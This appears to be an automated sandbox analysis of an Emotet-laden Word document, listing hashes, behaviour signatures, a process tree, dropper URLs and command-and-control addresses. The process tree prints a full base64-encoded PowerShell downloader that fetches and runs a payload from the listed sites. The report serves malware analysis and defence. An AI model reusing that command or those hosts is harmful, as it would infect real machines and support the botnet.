Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29-07-2020 06:56

General

  • Target

    PO_07292020EX.doc

  • Size

    170KB

  • MD5

    5e3e57806adfb44af4cc47cc8b9272b8

  • SHA1

    2a2b4c6fbf44040a3df47e01baba3927c9a81ca5

  • SHA256

    5e210cc728cad76fe48b8d23d04460445e1348e49ba05c759f1abf5910bb543b

  • SHA512

    6a9cf0c3bdf591b7485ddb85c2e17707e4bffd5b4678f69ae9d8f40786fc804e0cc2f47137b0e85ea68fb730f3ed0060ba7650f8c2afa3dd9199a60133db75fe

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://meuambientedecoracoes.com.br/update/ux5_iq061_x7f/

exe.dropper

http://dogbluemedia.com/dbm-salon/1g_9s_98t0/

exe.dropper

http://enhancementtechnology.co.uk/wp-includes/w0r_c6_zy8an/

exe.dropper

https://firstaid-redliv.dk/wp-content/c_zjmm_0p7xzukpo9/

exe.dropper

http://firman.com.au/fq_cze_gakl53z/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_07292020EX.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1436
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABMAFMATQBXAEYAaQB3AHoAPQAnAEwAUABKAEcASAB4AHMAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAUgBgAGkAdABZAGAAcAByAG8AdABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASABDAFYAUgBYAGkAagBrACAAPQAgACcANQA2ADkAJwA7ACQATwBWAEUAUABKAGEAbQBtAD0AJwBCAEYASwBIAFUAaQBlAHoAJwA7ACQAQgBWAFEATgBGAHEAegBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABIAEMAVgBSAFgAaQBqAGsAKwAnAC4AZQB4AGUAJwA7ACQARgBRAEkAUQBGAHYAbgB0AD0AJwBBAFUAWABaAEsAdABqAHcAJwA7ACQARwBQAFQAWABRAHAAbwBrAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcARQBCAEMATABJAGUAbgB0ADsAJABDAEEAVgBPAFQAcwB0AG8APQAnAGgAdAB0AHAAOgAvAC8AbQBlAHUAYQBtAGIAaQBlAG4AdABlAGQAZQBjAG8AcgBhAGMAbwBlAHMALgBjAG8AbQAuAGIAcgAvAHUAcABkAGEAdABlAC8AdQB4ADUAXwBpAHEAMAA2ADEAXwB4ADcAZgAvACoAaAB0AHQAcAA6AC8ALwBkAG8AZwBiAGwAdQBlAG0AZQBkAGkAYQAuAGMAbwBtAC8AZABiAG0ALQBzAGEAbABvAG4ALwAxAGcAXwA5AHMAXwA5ADgAdAAwAC8AKgBoAHQAdABwADoALwAvAGUAbgBoAGEAbgBjAGUAbQBlAG4AdAB0AGUAYwBoAG4AbwBsAG8AZwB5AC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwAwAHIAXwBjADYAXwB6AHkAOABhAG4ALwAqAGgAdAB0AHAAcwA6AC8ALwBmAGkAcgBzAHQAYQBpAGQALQByAGUAZABsAGkAdgAuAGQAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBjAF8AegBqAG0AbQBfADAAcAA3AHgAegB1AGsAcABvADkALwAqAGgAdAB0AHAAOgAvAC8AZgBpAHIAbQBhAG4ALgBjAG8AbQAuAGEAdQAvAGYAcQBfAGMAegBlAF8AZwBhAGsAbAA1ADMAegAvACcALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBEAEMAVgBTAHYAegB5AD0AJwBBAEkAUABZAEQAeQBoAGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMARABTAFEARgBuAHAAcwAgAGkAbgAgACQAQwBBAFYATwBUAHMAdABvACkAewB0AHIAeQB7ACQARwBQAFQAWABRAHAAbwBrAC4AIgBkAE8AVwBOAGAAbABgAG8AYQBEAGYAaQBsAEUAIgAoACQAUwBEAFMAUQBGAG4AcABzACwAIAAkAEIAVgBRAE4ARgBxAHoAagApADsAJABTAFkAUABKAEIAcQBzAGwAPQAnAEEAQgBVAFIAWAB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEIAVgBRAE4ARgBxAHoAagApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA1ADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYQBgAFQAZQAiACgAJABCAFYAUQBOAEYAcQB6AGoAKQA7ACQASgBYAE0AUgBIAGYAbgBrAD0AJwBDAFIAWQBSAEMAdQByAHgAJwA7AGIAcgBlAGEAawA7ACQAVwBDAE0AQwBIAGUAeQB4AD0AJwBJAEsAUQBBAEUAZAB6AHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBHAEkARQBPAGYAYQBpAD0AJwBDAEoAUwBXAEcAYQBkAGIAJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:1668
  • C:\Users\Admin\569.exe
    C:\Users\Admin\569.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1076
    • C:\Windows\SysWOW64\netiougc\StorageContextHandler.exe
      "C:\Windows\SysWOW64\netiougc\StorageContextHandler.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1036

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\569.exe

  • C:\Users\Admin\569.exe

  • C:\Windows\SysWOW64\netiougc\StorageContextHandler.exe

  • memory/1036-13-0x0000000000000000-mapping.dmp

  • memory/1036-15-0x0000000000260000-0x000000000026C000-memory.dmp

    Filesize

    48KB

  • memory/1076-12-0x00000000003B0000-0x00000000003BC000-memory.dmp

    Filesize

    48KB

  • memory/1436-2-0x0000000009510000-0x0000000009514000-memory.dmp

    Filesize

    16KB

  • memory/1436-5-0x000000000B680000-0x000000000B684000-memory.dmp

    Filesize

    16KB

  • memory/1436-6-0x000000000C700000-0x000000000C704000-memory.dmp

    Filesize

    16KB

  • memory/1436-9-0x0000000002180000-0x0000000002181000-memory.dmp

    Filesize

    4KB